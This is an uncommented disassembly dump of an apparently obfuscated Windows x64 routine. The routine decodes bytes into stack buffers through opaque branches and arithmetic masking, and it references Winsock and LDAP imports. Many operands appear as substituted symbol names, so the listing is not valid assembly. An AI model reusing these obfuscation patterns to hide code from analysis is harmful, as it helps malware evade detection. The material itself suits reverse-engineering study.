lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400749b5
movabs rcx, 0x1f4e80368d6fe430
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140073d72
movabs rdx, 0x52f5368d7e139fc
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140074977
movabs rdx, 0xeb10269b22528fc8
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14007494c
movabs rcx, 0xd0f0f9cd6cc3e594
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
dec rdi
inc rdi
jmp 0x140073d72
movabs rdx, 0xb6d1ccffb7353b60
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140073d72
movabs rcx, 0x9cb2a03201a6912c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x1400748fb
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140074526
lea rdx, [rdi + r12]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007432c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074569
movabs rdx, 0x248eacdfe4b3f644
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
inc rax
cmp r8, rax
jne 0x140074599
movabs rdx, 0x3eadd9ad9a42a078
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x140074a0e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400745cb
movabs rdx, 0x58cd067b4fd14aac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400749b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400745fd
movabs rdx, 0xa72a8ce4707d4948
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14007494c
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007432c
movabs rcx, 0xf588134d912947e4
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
jmp 0x1400748fb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007464b
movabs rdx, 0x36d6034fd70df166
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400748e6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140074683
movabs rdx, 0x6b145ceb422b45ce
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x140073d72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400746b0
movabs rcx, 0x9f52b686ad489a36
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
jmp 0x140074977
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400742ce
movabs rcx, 0x7cf69bd83834306
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074735
movabs rdx, 0x491d59bfc967ec88
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140074767
movabs rdx, 0x7d5bb35b348540f0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400749b5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007427a
movabs rcx, 0xe5d866920abfe9c0
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140073d72
movabs rdx, 0x4e5519c8e0fa9290
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xad8]
add r11b, dl
add r11b, r10b
jmp 0x14007494c
movabs rcx, 0x6874469696893cc4
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xad8]
lea r11d, [r10 + rcx]
sub r11b, 0x5c
jmp 0x1400749b5
movabs rdx, 0xfd5fe9ab545df6f6
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
movabs rcx, 0xe340bcdd9ecf4cc2
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x140074a0e
movabs rcx, 0xaf02634233b1f85a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x76
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140073d72
movabs rcx, 0x60a4dcd91305f9be
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
dec rdi
inc rdi
jmp 0x140073d72
movabs rcx, 0x2c66833da7e8a556
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
jmp 0x1400748fb
movabs rdx, 0xf82829a23ccb50ee
mov ecx, 0x3f
add rdx, rdi
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0x4145836206333d76
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r10b
mov byte [rbp + rdi + 0xad8], cl
inc r9
dec rdi
inc rdi
jmp 0x140073d72
movabs rcx, 0xa9caa3391c1f5252
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
movabs rdx, 0x5b64b02fbbc1e7aa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xad8], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140073d72
mov r10, rbx
movabs rdx, 0x5b6d1ccffb7353b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x7583dcfd715091de
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x12
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0xad8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140074a0e
movabs rdx, 0x414df00245e4a982
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx r10d, bl
movabs rdx, 0x829373644c17e6f8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0xad8], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
movabs rcx, 0x272ec3349055ff4e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x22
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
movabs rdx, 0xc919236fa98f3682
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073d70
movabs rcx, 0xaef9f6a1f4008c4e
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x22
jmp 0x140073d60
lea rcx, [rbp + 0x16d3850]
jmp 0x140074af2
lea rcx, [rbp + 0xf48d6a]
jmp 0x140074af2
lea rcx, [rbp + 0xad8]
xor edx, edx
call fcn.14003eb60
mov byte [rbp + 0xb00], 0x45
mov byte [rbp + 0xb01], Ordinal_60
mov byte [rbp + 0xb02], gethostname
mov byte [rbp + 0xb03], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb04], gethostname
mov byte [rbp + 0xb05], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb06], 0x9c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb07], xmm0
mov qword [rbp + 0xb17], rax
mov dword [rbp + 0xb1f], eax
movabs rdi, 0x61096c0a0f12afc7
movabs rsi, 0x2cf538d4ddac7319
movabs r15, 0xaf49976e317acb6b
movabs r14, 0xce6209f87ab6dc43
movabs r12, 0x6fcedb1c17c1456d
movzx r10d, byte [rsp + 0x50]
nop dword [rax + rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400758e9
movzx r11d, byte [rbp + rbx + 0xb00]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400758e0
lea rcx, [r8 + 1]
cmp r9, rcx
jae 0x140074bdc
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x13
jmp 0x140074c10
je 0x140075859
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400757be
lea rax, [rcx + 1]
cmp r9, rax
je 0x14007578b
lea rax, [r8 + 6]
cmp r9, rax
je 0x140075726
nop dword [rax]
cmp r8, rbx
ja 0x1400758d7
lea rax, [r8 + 0x3e8]
cmp r9, rax
jae 0x140074c3d
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x71
jmp 0x140074c80
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400756d2
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400756a9
lea rax, [r8 + 3]
cmp r9, rax
je 0x140075685
lea rax, [r8 + 5]
cmp r9, rax
je 0x140075651
lea rax, [r8 + 8]
cmp r9, rax
je 0x14007561c
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140075332
nop dword [rax]
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140075309
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400752d7
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400752a8
lea rax, [r8 + 3]
cmp r9, rax
je 0x140075284
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14007524d
lea rax, [r8 + 5]
cmp r9, rax
je 0x140075219
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400751f0
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400751c7
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14007518d
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x140074c90
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x3e8]
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400758b2
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14007588d
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x140074e87
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x140074e6c
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x140074e4d
lea rax, [r8 + 6]
cmp r9, rax
jb 0x140075128
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1400750c9
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14007507a
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14007504b
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x140074c90
lea r9, [r8 + 0x400]
lea r8, [r9 + 0x400]
lea rax, [r8 + 3]
cmp r9, rax
ja 0x140075011
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x140074fe8
lea rax, [r8 + 5]
cmp r9, rax
ja 0x140074fc4
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140074f8f
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x140074f58
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140074f2f
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x140074f00
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x140074ece
lea rax, [r8 + 2]
cmp r9, rax
ja 0x140074ea5
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x140074c90
lea r9, [r8 + 0x1000]
lea r8, [r9 + 4]
jmp 0x140074c90
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
add r10b, dl
jmp 0x140074c80
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
jmp 0x140074c10
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 5
add r10b, dl
jmp 0x140074ba5
movabs rdx, 0x84b605078957e38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400756f1
movabs rdx, 0xa9b83174159fe762
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140074b92
movabs rdx, 0x4b250297b2aa508c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140074b92
movabs rdx, 0xec91d3bb4fb4b9b6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075749
movabs rcx, 0x8dfea4deecbf22e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
add r9, r8
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
movabs rcx, 0x2f6b760289c98c0a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
movabs rcx, 0xd0d8472626d3f534
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400757dc
movabs rdx, 0x72451849c3de5e5e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007580f
movabs rdx, 0x13b1e96d60e8c788
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
movabs rcx, 0xa741f4466982ce71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
mov byte [rbp + rbx + 0xb00], r10b
inc rbx
jmp 0x140074b92
movabs rcx, 0x48aec56a068d379b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
cmp r8, 0x7a
jb 0x14007506a
movabs rcx, 0xd75255e7b6ed0ca2
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400756f1
movabs rcx, 0xea1b968da397a0c5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
cmp r9, 0x28
jae 0x1400755c4
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x1400754ed
movabs rdx, 0x2592814bd9552846
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140075099
movabs rcx, 0x8b8867b140a209ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x1400755f1
lea rax, [r8 + 0x1000]
cmp r9, rax
jbe 0x140075414
movabs rdx, 0xc4891541ca42787f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x79
add r10b, dl
jmp 0x1400750e8
movabs rdx, 0x4638883c5a701eaa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
movabs rdx, 0xe7a5595ff77a87d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007580f
movabs rdx, 0x89122a839484f0fe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400757dc
movabs rcx, 0x2a7efba7318f5a28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
movabs rcx, 0xcbebcccace99c352
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
add r9, r8
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
movabs rcx, 0x6d589dee6ba42c7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x140075749
movabs rdx, 0xec56f1208ae95a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140074b92
movabs rdx, 0xb0324035a5b8fed0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140074b92
movabs rdx, 0x519f115942c367fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400756f1
lea rax, [r8 + 0x400]
cmp r9, rax
jae 0x14007535d
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x13
add r10b, dl
jmp 0x140075147
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400753a0
movabs rdx, 0xc212d8141e255f8e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400753d2
movabs rdx, 0x7f3935cce4108d3a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400757dc
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140075147
movabs rcx, 0xddcc64a947062410
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140075441
movabs rcx, 0x231c441e2d380f55
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
jmp 0x1400756f1
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007547e
movabs rcx, 0xfbfc2e6c1c040183
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
lea rax, [rcx + 1]
cmp r9, rax
jne 0x1400754ab
movabs rcx, 0x5a8f5d487ef99859
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x1400757dc
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400750e8
movabs rcx, 0x17b5bb0144e4c605
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140075530
movabs rdx, 0x8425b0283c4abf1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
inc rax
cmp r9, rax
jne 0x140075561
movabs rdx, 0xe2b8df049f4055f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007580f
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140075592
movabs rdx, 0x414c0de10235ecc8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x1400757dc
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140075099
movabs rdx, 0x5d059a762b16b14a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 6
jmp 0x140075746
movabs rdx, 0x35e584c419e2a378
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xb00]
sub r10b, al
sub r10b, 0x48
add r10b, r11b
jmp 0x140075746
movabs rcx, 0x9478b3a07cd83a4e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xb00]
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x1400757dc
movabs rcx, 0xb43611c989b4fd4d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
movabs rcx, 0x987c853460d438cb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
movabs rcx, 0xdb56277b9ae90b1f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x27
jmp 0x140075749
movabs rcx, 0x7cc2f89f37f37449
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
dec rbx
inc rbx
jmp 0x140074b92
movabs rcx, 0xbf9c9ae67208469d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
movabs rcx, 0x869bed55e867d80d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5b
add r11b, cl
mov byte [rbp + rbx + 0xb00], r11b
inc r8
dec rbx
inc rbx
jmp 0x140074b92
movabs rdx, 0xe6bcb098833c546f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 9
add r10b, dl
movabs rdx, 0xe52f1c324b5d6ee3
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x35
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xb00], cl
add r9, r8
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
movabs rcx, 0x299652dfbd5126c3
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x55
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140074b92
mov r11, rdx
movabs rax, 0xcb0324035a5b8fed
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x7b
movabs rdx, 0x43c24b0eae5305b9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0xf
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xb00], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0xf30be27cdfcdd124
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xb00], cl
inc r9
mov rax, r13
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
movabs rcx, 0xddcc64a94706241
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x39
movzx eax, byte [rbp + rbx + 0xb00]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140074b92
movabs rcx, 0x113bac3fb4cbae97
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x21
jmp 0x140074b90
movabs rcx, 0xb2a87d6351d617c1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x47
jmp 0x140074b80
lea rcx, [rbp + 0x140b6e4]
jmp 0x1400758f0
lea rcx, [rbp + 0x7b824f]
jmp 0x1400758f0
lea rcx, [rbp + 0xb00]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x14008dcca
lea rcx, str.General
call fcn.140036770
lea rdx, [0x140227fe0]
lea rcx, [rbp + 0x3b8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rdi, rax
mov byte [rbp + 0xb28], Ordinal_211
mov byte [rbp + 0xb29], Ordinal_45
mov byte [rbp + 0xb2a], gethostname
mov byte [rbp + 0xb2b], Ordinal_79
mov byte [rbp + 0xb2c], 0x56
mov byte [rbp + 0xb2d], 0x52
